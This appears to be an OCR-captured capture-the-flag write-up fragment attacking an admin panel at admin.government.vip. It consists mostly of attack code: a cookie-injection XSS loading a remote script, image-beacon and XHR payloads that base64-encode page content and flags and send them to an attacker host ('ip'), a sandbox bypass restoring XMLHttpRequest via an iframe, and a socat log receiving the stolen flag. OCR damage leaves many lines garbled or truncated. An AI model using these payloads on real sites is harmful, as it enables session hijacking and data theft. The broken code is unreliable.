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BHHA: The flag is in http://admin.government.vip:8000
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<?php
for ($i; $i < 100000000; $i++) {
if (substr(md5($i), @, 6) == 'd46240') {
echo $i;
exit();
}
}
r.js

function setCookie(name,value){
var Days = 30;
var exp = new Date();
exp.setTime(exp.getTime() + Days*24*60*60*1000);

document.cookie = name + + value + ";expires=" + exp.toGMTString() + ";path=/;domain=.government.vip";

setCookie('username’, '</script><script src=//ip/rl.js></script>")
self.location="http://admin.government.vip:8000/";
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> document.cookie
"username=test"
> function setCookie(name,value){
var Days = 30;
var exp = new Date();
exp.setTime(exp.getTime() + Days*24x60x60%«1000) ;

document.cookie = name + "="+ value + ";expires=" + exp.toGMTString() + ";path=/;domain=.government.vip";
}
setCookie('username', 'kkkkkkkk"')
undefined

> document.cookie
"username=test; username=kkkkkkkk"
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function create_img(url){
var i = document.createElement("img");
i.setAttribute("src",url)
document.body.appendChild(i);

$(document).ready(function(){create_img("http://ip/?c="+window.btoa($(":root").html()));});
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<head>

<title>Admin Panel</title>
<script>

//sandbox

delete window.Function;
delete window.eval;

delete window.alert;
delete window.XMLHttpRequest;
delete window.Proxy;
delete window.Image;
delete window.postMessage;
</script>

</head>

<body><h1>Hello <script src="//ip/rl.js"></script></h1>

<p>Upload your shell</p>

<form action="/upload" method="post" enctype="multipart/form-data">
<p><input type="file" name="file"></p>

<p><input type="submit" value="upload">

</p></form>

</body>
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function fix() {
var iframe = document.createElement('iframe’)
iframe.src = 'about:blank'
document.body.appendChild(iframe)
window.XMLHttpRequest = iframe.contentWindow.XMLHttpRequest
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function create_img(url){
var i = document.createElement("img");
i.setAttribute("src",url)
document.body.appendChild(i);

function get_html(e){
create_img("http://ip/?c="+window.btoa(e.target.responseText));

var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml");
¥
} else if (window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2
for(var i=0; i<versions.length; i++) {
try {
request = new ActiveXObject(versions);

} catch(e) {}

xmlhttp=request;
var url= "http://admin.government.vip:8000/upload"”;
var params="---------------------________ 223972503529236\r\n"+ "Content-Disposition: form-data; name=\"uplo

xmlhttp.open("POST", url, true);

xmlhttp.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xmlhttp.setRequestHeader("Accept-Language", "de-de,de;q=0.8,en-us;q=0.5,en;q=0.3");
xmlhttp.setRequestHeader("Content-Type", "multipart/form-data; boundary=--------------cc--c-—- 22397250
xmlhttp.withCredentials = "true";

var aBody = new Uint8Array(params.length);

for (var i = @; i < aBody.length; i++) aBody[i] = params.charCodeAt(i);

xmlhttp.onload = get_html;

xmlhttp.send(new Blob([aBody]));
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[root@i ™™g = = =p; ~]# socat -v TCP-LISTEN:82,fork TCP:127.0.0.1:80
> 2017/03/19 15:32:10.710406 length=280 from=0 to=279

GET /?c=ZmxhZ3t4c3NfaXNfZnVuXzIzMzMzMzN9 HTTP/1.1\r

Referer: http://admin.government.vip:8000/\r

User-Agent: Mozilla/5.0 Chrome(phantomjs) for @ctf2017 by md5_salt\r
Accept: */*\r

Connection: Keep-Alive\r

Accept-Encoding: gzip, deflate\r

Accept-Language: en,*\r

Host: "B =~ Was B Z\r

\r

< 2017/03/19 15:32:10.711525 1length=194 from=0 to=193

HTTP/1.1 200 OK\r

Date: Sun, 19 Mar 2017 07:32:10 GMT\r

Server: Apache/2.2.15 (CentOS)\r

X-Powered-By: PHP/5.4.45\r

Content-Length: 2\r

Connection: close\r

Content-Type: text/html; charset=UTF-8\r

\r
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index.php

<?php header('Access-Control-Allow-Origin: *"');?>
<script>

var love={ajax:function(){var a;try{a=new XMLHttpRequest()}catch(e){try{a=new ActiveXObject("Msxml2.XMLHTTP

love.get("https://router.vip/flag.php",function(rs){
url = "https://ip/?data=" + window.btoa(rs.responseText)
love.get(url,function(rs){console.log(rs)});

1

</script>
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